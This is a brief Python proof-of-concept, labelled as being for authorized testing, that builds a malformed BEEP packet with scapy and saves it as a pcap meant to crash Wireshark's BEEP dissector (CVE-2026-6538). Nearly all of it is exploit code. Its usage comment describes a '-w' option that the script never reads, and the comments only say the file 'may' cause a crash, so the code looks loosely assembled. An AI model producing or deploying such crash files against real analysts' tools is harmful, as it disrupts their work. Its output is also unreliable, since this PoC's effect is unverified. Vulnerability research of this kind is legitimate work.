The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Proof of Concept for CVE-2026-6538 (Wireshark BEEP Dissector Crash)
# This script generates a malformed BEEP packet that may crash the dissector.
# Usage: python3 poc.py -w crash.pcap
from scapy.all import *
# Define a malformed BEEP packet
# BEEP typically runs over TCP. We craft a TCP packet with a payload that mimics
# a broken BEEP header to trigger the parsing logic error.
malformed_payload = b"MSG 0 1 . 0 0" + b"\x00" * 100 # Invalid header structure
ip = IP(dst="127.0.0.1")
tcp = TCP(sport=12345, dport=10288, flags="PA")
# Craft the packet
packet = ip/tcp/malformed_payload
# Save to pcap file
wrpcap("crash_beeper.pcap", [packet])
print("[+] Malformed pcap file 'crash_beeper.pcap' generated.")
print("[+] Open this file in a vulnerable Wireshark version to trigger the crash.")